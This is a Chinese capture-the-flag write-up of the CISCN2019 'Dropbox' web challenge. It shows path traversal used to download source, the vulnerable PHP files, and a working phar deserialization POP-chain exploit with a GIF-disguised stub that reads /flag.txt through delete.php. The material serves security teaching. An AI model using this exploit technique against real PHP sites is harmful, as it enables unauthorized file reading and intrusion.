[CISCN2019 华北赛区 Day1 Web1]Dropbox

原创于 2025-09-03 10:49:51 发布 · 412 阅读

CC 4.0 BY-SA版权

文章标签：

TRY

首先上传和删除文件抓包，可以发现upload.php和delete.php，只允许上传gif png jpg后缀的文件。但是上传的文件并没有办法访问，不过可以下载，抓包发现下载的时候请求体是文件名，尝试能不能通过路径穿越获取源码，成功了。试试直接读取flag，肯定是失败的。
通过…/…/穿越到工作目录然后下载所有源码。

upload.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

上传的文件位置$_SESSION[‘sandbox’] . $filename . $f i l ee x t ，利用$ _FILES[“file”][“type”]过滤文件类型并修改后缀名。

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

有很多魔术方法，明显能构造pop链。感觉是在下载文件时利用phar协议触发反序列化。

WP

![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/9b11a14c54934b8494b457ee9de5f018.png =300)
看来不是所有上传文件名的地方都能利用phar协议进行反序列化，能触发反序列化的函数是有限的。
在class.php中能找到open()方法有file_exists函数，delete()方法有unlink函数，close()有file_get_contents函数。在delete.php中能看到使用了$file->detele()，并且其文件名也是我们上传的，可以使用phar协议。

现在的思路就是构造pop链放入phar文件中，绕过类型过滤（phar文件靠文件内容识别不靠后缀名）然后上传，并且拿到上传位置，再使用phar协议请求delete.php触发反序列化，拿到flag。

payload:

<?php
class User {
    public $db;
    // public function __destruct() {
    //     $this->db->close();
    // }
}

class FileList {
    public $files;
    // private $results;
    // private $funcs;

    // public function __call($func, $args) {
    //     array_push($this->funcs, $func);
    //     foreach ($this->files as $file) {
    //         $this->results[$file->name()][$func] = $file->$func();
    //     }
    // }

    // public function __destruct() {
    //     $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
    //     $table .= '<thead><tr>';
    //     foreach ($this->funcs as $func) {
    //         $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
    //     }
    //     $table .= '<th scope="col" class="text-center">Opt</th>';
    //     $table .= '</thead><tbody>';
    //     foreach ($this->results as $filename => $result) {
    //         $table .= '<tr>';
    //         foreach ($result as $func => $value) {
    //             $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
    //         }
    //         $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
    //         $table .= '</tr>';
    //     }
    //     echo $table;
    // }
}

class File {
    public $filename = "/flag.txt";
    // public function close() {
    //     return file_get_contents($this->filename);
    // }
}

$a = new File();
$b = new FileList();
$c = new User();
$c->db = $b;
$b->files = array($a); //将变量 $a 作为元素放入一个新数组中，然后将这个数组赋值给对象 $b 的 files 属性。

$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($c);  
$phar->addFromString("exp.txt", "test"); 
$phar->stopBuffering();
?>

文件上传位置为SESSION[‘sandbox’]内，定义在login.php中，但是这里其实并不用计算，因为读取文件的当前位置就是上传的位置，所以直接用phar://phar.jpg就可以
尝试一下是出错了，原因在于我构造payload时为了方便赋值将FileList中的$files变量属性由private改为了public，这是绝对不允许的，因为反序列化的过程中识别变量时是通过变量名加属性。这会导致攻击链失效。
既然不能改属性，那如何赋值private变量为我们构造的对象呢？利用__construct方法！

<?php
class User {
    public $db;
}

class FileList {
    private $files;
    public function __construct() {
	        $this->files = array(new File());
	    }
}

class File {
    public $filename = "/flag.txt";
}

$a = new File();
$b = new FileList();
$c = new User();
$c->db = $b;

$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($c);  
$phar->addFromString("exp.txt", "test"); 
$phar->stopBuffering();
?>